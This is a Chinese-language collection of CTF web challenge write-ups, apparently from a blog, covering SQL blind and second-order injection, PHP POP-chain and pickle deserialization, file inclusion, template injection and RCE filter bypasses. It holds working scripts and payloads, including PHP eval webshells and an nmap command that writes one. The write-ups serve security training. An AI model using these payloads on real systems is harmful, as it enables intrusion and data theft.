[NewStarCTF 2023 公开赛道]medium_sql
考点:sql 盲注
第一种:sqlmap 一把梭
1 python sqlmap.py -u "http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag --dump
第二种:首先测试注入点,发现存在一些过滤,使用burp+fuzz字典,fuzz测试sql过滤的字符
发现可以使用大小写绕过,但是测完字段开始注入时发现union联合注入不让用
过滤了很多,直接使用布尔盲注进行注入测试,使用大小写绕过过滤字符,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsdef condition (res ): if 'Physics' in res.text: return True return False result = '' _url = 'http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/' import timefor _time in range (1 ,1000 ): left = 32 right = 128 while (right > left): mid = (left + right) // 2 url = f"{_url} ?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid} )),1,0)%23" time.sleep(0.1 ) res = requests.get(url=url) if (condition(res)): result += chr (mid) print (f'{_time} :{result} ' ) break else : url = f"{_url} ?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid} )),1,0)%23" res = requests.get(url=url) if (condition(res)): left = mid else : right = mid
NewStarCTF 2023 公开赛道]POP Gadget
考点:反序列化链子构造
首先把所有的 protected 属性和 private 属性更改为 public 属性,然后开始构造链子,思路如下
很容易判断出命令执行处在 WhiteGod 类的 $this->func)($this->var); 处
反序列化触发 Begin 类的 __destruct() 方法,name 被当作字符串执行可以触发 __string 魔术方法
$this->func)(); 对象被当成函数调用触发 __invoke() 魔术方法
调用对象不存在的方法触发 __call() 魔术方法,调用 CTF 类里的 end() 函数
销毁对象不存在的属性触发 __unset() 魔术方法,进而命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { public $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { public $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { public $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } $payload = new Begin ();$payload ->name = new Then ();$payload ->name->func = new Super ();$payload ->name->func->obj = new Handle ();$payload ->name->func->obj->obj = new CTF ();$payload ->name->func->obj->obj->handle = new WhiteGod ();$payload ->name->func->obj->obj->handle->func = 'system' ;$payload ->name->func->obj->obj->handle->var = "cat /flag" ;echo serialize ($payload );
[极客大挑战 2019]Secret File
考点:信息收集,伪协议读取
查看源码,发现 /Archive_room.php 页面,打开
抓包重放,得到提示有个 secr3t.php 页面
存在 include 函数,明显的文件包含漏洞,过滤了 http,data 协议,使用 php 伪协议读取文件
payload 如下:
1 ?file=php://filter/read=convert.base64-encode/resource=flag.php
成功读取到 flag.php 的 base64 编码格式,解码即可得到 flag
[SUCTF 2019]CheckIn
考点:.user.ini文件上传
先上传 .user.ini 文件,然后上传图片马,只要访问同一文件夹下的 php 文件,图片就将被解析执行,从而执行一句话木马
1 2 3 GIF89a auto_prepend_file=1.gif
1 2 3 GIF89a <script language="php">eval($_POST["a"]);</script>
访问 index.php,解析成功,连接获取 flag
[GXYCTF2019]禁止套娃
考点:git 泄露,无参 rce
通过 git 泄露得到源码
过滤了很多而且要求正则是类似函数调用那样执行的,使用无参 rce 来绕过,payload 如下:
1 ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
[GWCTF 2019]枯燥的抽奖
考点:伪随机数爆破
很有意思一道题,首先是进入页面让猜测剩下的 10 位字符,抓包查看
发现是向check.php发起请求,得到检验输入字符串的源码
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" ); session_start ();if (!isset ($_SESSION ['seed' ])){ $_SESSION ['seed' ]=rand (0 ,999999999 ); } mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
分析发现本题逻辑是使用一个伪随机数种子来生成随机数,将随机数作为下标抽取 $str_long1 表里的字符串,将部分回显到页面上,而这就是抽奖的密码
理解之后我们可以写一个脚本,根据回显出来的部分字符串逆推出前几位随机数,然后使用工具 php_mt_seed 根据随机数推出种子
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 str1 ='CXH0tXiaj1' str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" result ='' length = str (len (str2)-1 ) for i in range (0 ,len (str1)): for j in range (0 ,len (str2)): if str1[i] == str2[j]: result += str (j) + ' ' +str (j) + ' ' + '0' + ' ' + length + ' ' break print (result)
至于生成的 result 为什么要这样拼接,请看官方语法,网上找的似乎都没讲
生成 result 之后就可以使用工具爆破出随机数种子了,得到种子和版本号
再修改一下题目源码,将种子改为确定的值,输出完整的 20 位字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $seed =610471137 ;mt_srand ($seed );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } echo $str ;
输入所得字符串,即可得到 flag
[护网杯 2018]easy_tornado
考点:tornado 模版注入
hash 值置空得到错误界面
发现是 tornado 模版注入,需要使用 handler.settings 获取环境变量里的一些信息,这里得到 cookie_secret
下图依次是 hint.txt 和 flag.txt 里的内容
按照 hint.txt 里的公式加密,写入要读取的文件和 hash 值,得到 flag
1 ?filename=/fllllllllllllag&filehash=a7fdea126339a5d2d552c6623e33a664
[BJDCTF2020]The mystery of ip
考点:Twig 模版注入
主页什么都没有,扫目录发现两个 php 页面
flag 页面将 ip 地址显示出来了,其他页面没啥东西
结合题目名字和 flag 页面的 ip 地址猜测是 X-Forwarded-For 处有问题
添加 X-Forwarded-For 头,测试可以看到存在 Twig 模版注入漏洞,{{}}内的算式会被解析
burp 不知道为什么重放的时候很卡,直接使用 hackbar 添加 X-Forwarded-For 头来模板渲染命令执行
[BJDCTF2020]Mark loves cat
考点:.git 源码泄露,命令执行
扫出一堆目录,猜测是 .git 泄露
使用 githacker 工具拉取到源码,在 index.php 中发现 php 源码
1 githacker --url http://688db0f9-41fe-4f98-9f6c-e9cda940f77a.node5.buuoj.cn:81/.git/ --output-folder result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
我们这里利用最后一段代码得到 flag,get 传参 flag=flag,执行 exit 命令,让 is=flag,会退出然后执行 $flag
1 2 3 if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit($is ); }
payload 如下:
[红明谷CTF 2021]write_shell
考点:RCE 命令执行
源码如下,代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );highlight_file (__FILE__ );function check ($input ) { if (preg_match ("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array ($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf ($output ); } }else { $input = check ($input ); } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf ($data ); file_put_contents ("$dir " . "index.php" , $data ); }
分析:
action 为 pwd 时,得到当前目录 sandbox/065831472858248584ff4993846d5065/
action 为 upload 时,会上传数据到目录路径下的 index.php 中,并且会对上传的数据进行检查
data 过滤了 php,可以使用短标签绕过,用反引号执行命令,将命令结果上传到 index.php,访问index.php,得到 flag
先写入以下 payload,再访问文件 /sandbox/065831472858248584ff4993846d5065/index.php,得到 flag
1 ?action=upload&data=<?=`cat%09/*`?>
[网鼎杯 2020 朱雀组]phpweb
考点:命令执行,反序列化
查看源码,有一个 js 代码,每隔五秒自动提交任务,刷新界面
使用 Yakit 抓包,等待自动刷新,POST 请求包有两个参数,func 和 p,根据回显猜测是 fucn(p)这样的命令执行,可以使用其他函数(比如 MD5)验证一下
确定之后尝试 RCE,敏感函数应该被过滤了,使用 file_get_contents 函数获取当前页面源码
拿到源码开始审计,发现黑名单过滤了很多执行命令的函数,但是存在一个 __destruct() 魔术方法,该方法会在脚本执行完自动触发,当 func 不为空的话再次调用 gettime 函数
那么思路就有了,让 func=unserialize,p 是执行命令的序列化数据,unserialize 函数调用结束后触发__destruct() 方法,又执行了一次序列化数据里的调用,这就绕过了黑名单检测
以下是反序列化脚本,flag 位置可以用 find / -name "flag*"
命令来找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } } class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $a = new Test ();echo serialize ($a );
flag 在 /tmp/flagoefiu4r93
中,最终 payload 如下:
1 func=unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:22 :"cat /tmp/flagoefiu4r93" ;s:4 :"func" ;s:6 :"system" ;}
[BJDCTF2020]ZJCTF,不过如此
考点:文件包含,PHP 特性绕过
第一层没什么说的,考察文件包含伪协议的利用,分别使用 data 伪协议和 php 伪协议即可,不过要注意将内容 url 编码,因为是 GET 方式传参的
1 text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
读取到第二层源码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $id = $_GET ['id' ]; $_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
考察 preg_replace 在 /e 模式下的代码执行漏洞,foreach 将参数名作为正则表达式,参数值作为待处理字符串,再调用 complex 函数执行任意代码,恶意代码需要用 ${}包裹
传参即可拿到 flag,payload 如下:
1 \S*=${getFlag ()}&cmd=system ('cat%20/flag' );
[WesternCTF2018]shrine
考点:SSTI 模板注入
拿到源码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import flask import os app = flask.Flask (__name__) app.config['FLAG' ] = os.environ.pop ('FLAG' ) @app.route ('/' ) def index (): return open (__file__).read () @app.route ('/shrine/<path:shrine>' ) def shrine (shrine): def safe_jinja (s): s = s.replace ('(' , '' ).replace (')' , '' ) blacklist = ['config' , 'self' ] return '' .join (['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string (safe_jinja (shrine)) if __name__ == '__main__' : app.run (debug=True)
可以看到 flag 在当前环境变量中,小括号被过滤了,config 和 self 也会被替换为 None
先给出 payload 如下,再讲解为什么这里可以使用 config
1 {{url_for.__globals__['current_app' ].config['FLAG' ]}}
虽然看起来 {{% set config\=None%}} 会将 payload {{url_for.globals['current_app'].config}}
中的 config 替换为空,但 set 命令实际上是在当前线程的模板的局部作用域中将 config 替换成空,而 current_app 得到的栈顶元素不是应用上下文,而是 flask 的应用实例对象,作为上层对象不会受到 set的限制
[网鼎杯 2020 朱雀组]Nmap
考点:NMAP 命令执行
Nmap 扫描,将 nmap 扫描结果写入文件时加入一句话木马实现 RCE
1 127.0 .0.1 '<?php @eval($_POST["hack"]);?> -oG hack.php '
这里有过滤,将第一个 php 替换为短标签,后缀替换为 phtml 即可绕过
1 127.0 .0.1 '<?= @eval($_POST["hack"]);?> -oG hack.phtml '
然后蚁剑连接即可,拿到 flag
[SWPU2019]Web1
考点:SQL 注入绕过
注册登陆后,经测试存在 SQL 注入漏洞。在广告名处填入恶意注入语句,发布后查看即可触发语句执行
又发现存在 WAF,可以利用回显判断过滤关键字,这里由于发包之后直接就会发布,但是发布的数量又有限制,所以不能爆破,只能手工慢慢测,测出过滤的有 or,#,--+,空格
首先测字段数然后爆数据库,空格使用内联注释符绕过,后面的注释可以用引号闭合替代
1 1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
因为 information_schema.tables
中有 or,被过滤了,不能正常查表名,使用 mysql.innodb_table_stats
也能查到表名
1 1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
查到表名 user 后,接下来就是最重要的查数据了,但是还是 information_schema.columns
中含有 or 关键字,不能查看列名了,需要用到 无列名注入 技术来拿到数据
payload 解释:
先创建一个临时结果集,定义列名:select 1,2 as a,3 as b
然后 UNION 真实的表:union select * from users
最后从整个结果集中选择b列:select group_concat(b) from (…)a
由于b是第三列的别名,最终会返回users表的第三列所有值连接成的字符串
1 1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[CISCN 2019 初赛]Love Math
考点:RCE 命令执行
这里有道题解,讲了多种方式绕过,如下方式不行可以看看这篇文章
1 https://www.cnblogs.com/20175211lyz/p/11588219.html
这题还是很经典的,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 ); if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
过滤了很多,只能用这几个数学函数来构造 payload
首先写出基本的 payload 格式:c=($_GET[a])($_GET[b])&a=system&b=cat /flag
现在只需要使用数学函数构造 ($_GET[a])($_GET[b]) 即可
使用 base_convert 36 将十进制数转化为 36 进制的字符串 hex2bin,最终构造出 _GET,再使用大括号代替中括号传参,从而绕过,执行任意命令
base_convert(37907361743,10,36)=>“hex2bin”
dechex(1598506324)=>“5f474554”
hex2bin(“5f474554”)=>_GET
最终 payload 如下:
1 c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat /flag
[De1CTF 2019]SSRF Me
考点:代码审计,SSRF 利用
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonapp = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if not os.path.exists(self .sandbox): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if self .checkSign(): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if resp == "Connection Timeout" : result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): return getSign(self .action, self .param) == self .sign @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" , "r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
看到一共有三个路由,一个 index 界面,一个是 /geneSign,用来获取签名的,还有一个是 /Delta,用来进行最终的传参获取 flag 的
首先绕过 checkSign(),并且传入的 action 需要同时包含 scan 和 read,然后 if "scan" in self.action:
执行将 flag.txt 中的数据写入 result.txt 中,继续 if "read" in self.action:
执行读取 result.txt 中的数据,并且放在 result[‘data’] 中, 以json的形式返回到客户端。
先获取 hash 来绕过 checkSign(),payload 如下:
1 /geneSign?param=flag.txtread
用 get 传参的方式获取 param,用 cookie 传参的方式传入action 和 sign,得到 flag
1 2 GET /De1ta?param=flag.txt HTTP/1.1 Cookie: action=readscan;sign=58b0f52359b59d01092f285890bd2dae
[NCTF2019]SQLi
考点:SQL 注入绕过
在 robots.txt 中找到 hint.txt,访问得到黑名单和拿到 flag 的条件
1 2 3 4 $black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i" ; If $_POST['passwd' ] === admin's password, Then you will get the flag;
一个登录框,登陆逻辑如下:
1 select * from users where username='' and passwd=''
单引号被过滤了,不能用单引号闭合了,使用反斜杠将 username 后一个单引号转义
使用 MySQL 的 ||(逻辑或)和 regexp(正则匹配),根据正确与否,逐字符匹配出正确的密码(也算是一种布尔盲注)
1 2 username:\ passwd:||/**/passwd/**/regexp/**/"^a" ;%00
正确的条件下,响应包中有回显welcome.php,基于此构造 payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import stringimport requestsfrom urllib import parsepasswd = '' string= string.ascii_lowercase + string.digits + '_' url = 'http://84b9aa67-f612-474a-8ba0-758554e0dcd7.node5.buuoj.cn:81/' for n in range (100 ): for m in string: data = { "username" :"\\" , "passwd" :"||/**/passwd/**/regexp/**/\"^{}\";{}" .format ((passwd+m),parse.unquote('%00' )) } res = requests.post(url,data=data) if 'welcome' in res.text: passwd += m print (m) break if m=='_' and 'welcome' not in res.text: break print (passwd)
October 2019 Twice SQL Injection
考点:SQL 二次注入
很少遇到二次注入的题型,记录一下
经测试,登录框无明显 SQL 注入漏洞,注册 1' or 1=1#
用户,发现可以直接注册成功,且回显出用户名,说明用户名处无过滤
依次注册以下用户名,登陆,进行 SQL 注入,即可拿到 flag
1 2 3 4 1' union select database() # 1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # 1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# 1' union select group_concat(flag) from ctftraining.flag#
[CISCN2019 华北赛区 Day1 Web2]ikun
考点:JWT 伪造,pickle 反序列化
打开网站,说是要让我们买到 lv6,但是前几页都没有 lv6 的图片
写脚本爆破页面,直到有 lv6.png 的回显出现,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 import requests url = "http://1f8f0055-9614-4dd4-99eb-65902d7a1bc5.node5.buuoj.cn:81/shop?page=" for i in range(1, 1000): url_i = url + str(i) r = requests.get(url_i) if "lv6.png" in r.text: print(url_i) break # http://1f8f0055-9614-4dd4-99eb-65902d7a1bc5.node5.buuoj.cn:81/shop?page=181
需要先注册一个用户并登陆,然后访问该页面,点击购买 lv6,很显然我们买不起,先抓包看看参数,发现有折扣参数,尝试修改折扣再购买,即可购买成功
访问 /b1g_m4mber 提示页面只能 admin 访问,肯定是做了鉴权,请求包 cookie 参数中有 JWT,猜测是用 JWT 做的鉴权,经尝试是弱口令,使用 c-jwt-cracker 爆破一下得到密钥
修改 username 参数为 admin 后用密钥重新加密,填入参数即可正常访问 /b1g_m4mber
响应包中有一个源码路径,访问拿到源码
代码审计,可以发现在 admin.py 处存在一个 pickle 反序列化操作,没有任何过滤,肯定存在一个反序列化漏洞,构造 payload 执行命令即可得到 flag,payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport osimport urllibclass exp (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) e = exp() s = pickle.dumps(e) print (urllib.quote(s))